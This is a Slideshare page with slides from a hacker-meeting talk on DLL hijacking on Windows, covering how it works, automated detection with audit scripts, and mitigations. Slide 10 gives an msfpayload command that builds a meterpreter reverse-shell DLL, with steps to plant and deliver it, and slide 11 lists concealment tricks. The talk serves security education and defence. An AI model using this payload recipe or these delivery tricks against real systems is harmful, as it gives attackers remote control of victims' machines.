Dll hijacking

Uploaded on

DLL Hijacking over view and demo presentation presented at the October Rochester 2600 meeting.

DLL Hijacking over view and demo presentation presented at the October Rochester 2600 meeting.

More in: Technology
  • Full Name Full Name Comment goes here.
    Are you sure you want to
    Your message goes here
    Be the first to comment
No Downloads


Total Views
On Slideshare
From Embeds
Number of Embeds



Embeds 0

No embeds

Report content

Flagged as inappropriate Flag as inappropriate
Flag as inappropriate

Select your reason for flagging this presentation as inappropriate.

    No notes for slide


  • 1. How To Become a Hijacking Terrorist
    DLL Hijacking for fun and profit
  • 2. DLL Hijacking Overview
    DLL Hijacking: Trick a program to use a malicious DLL instead of the normal DLL
    HDM found that when opening a file associated to a program, the file will look in the local path for the referenced DLLs of the program before looking inside the correct location of the associated executable
  • 3. PCAP Example - Normal
  • 4. PCAP Example - Hijacked
  • 5. DLL Hijacking
    Old trick – new dog
    Linux removed “.” from $PATH
    Client side, WebDAV, or remote SMB share
    Widely exploitable
    Easy to detect
  • 6. DLLHijackAuditKit
    Automates the detection
    Generates test scenarios for each file extension and automatically creates an exploitable file
    Searches every extension
  • 7. Demo
  • 8. Audit.js
    Download procmon from sysinternals
    Opens procmon and filters for operations that begins with "IRP_MJ_" or "FASTIO_".
    Use WMI to query the local system and file all the possible file extensions it can handle
    Generate test cases for each file scenario. Make a dummy file with the word “Howdy…” in it named after the extension being tested
    Automatically open each file from command line
    While opening, log file system activity in procmon
    Wait a few seconds and then close out the program and try the next file
    When you get all done, you need to save the procmon file as LogFile.csv. This logfile will have the executable related to the file that was opened and also the path that it tried to look for a DLL.
  • 9. Analyze.js
    Parses the LogFile.csv for the executable and the DLL that it was looking for (wireshark.exe and airpcap.dll)
    Generate test scenarios and copy in a dummy DLL named after the real DLL it’s looking for.
    run the file again
    if it is successful, the DLL will create a txt file named exploit.txt
    Repeat this step for each EXE and DLL pair to verify which are actively exploitable
  • 10. Real World Attack Scenario
    Generate Payload: msfpayload windows/meterpreter/reverse_tcp LHOST= LPORT=4242 D > exploit.dll
    Rename to the DLL that the EXE is looking for
    Put the DLL in the same folder as a file with an associated extension
    Deliver file and DLL
  • 11. Tricks
    Use the Hidden attribute
    Obfuscate with lots of other files
    MSFEncode the payload
    Create a link to a subfolder
    Road Apples
    Host a SMB share on the net!
    Create a WebDAV share
  • 12. Mitigation
    Microsoft tool to catch illegal DLL references
    CWDIllegalInDllSearch registry
    Disable WebDAV
    Disable outbound SMB (139 445)
    Load DLL’s securely
  • 13. References
  • 14. 0day (AFAIK)
    RDP .dll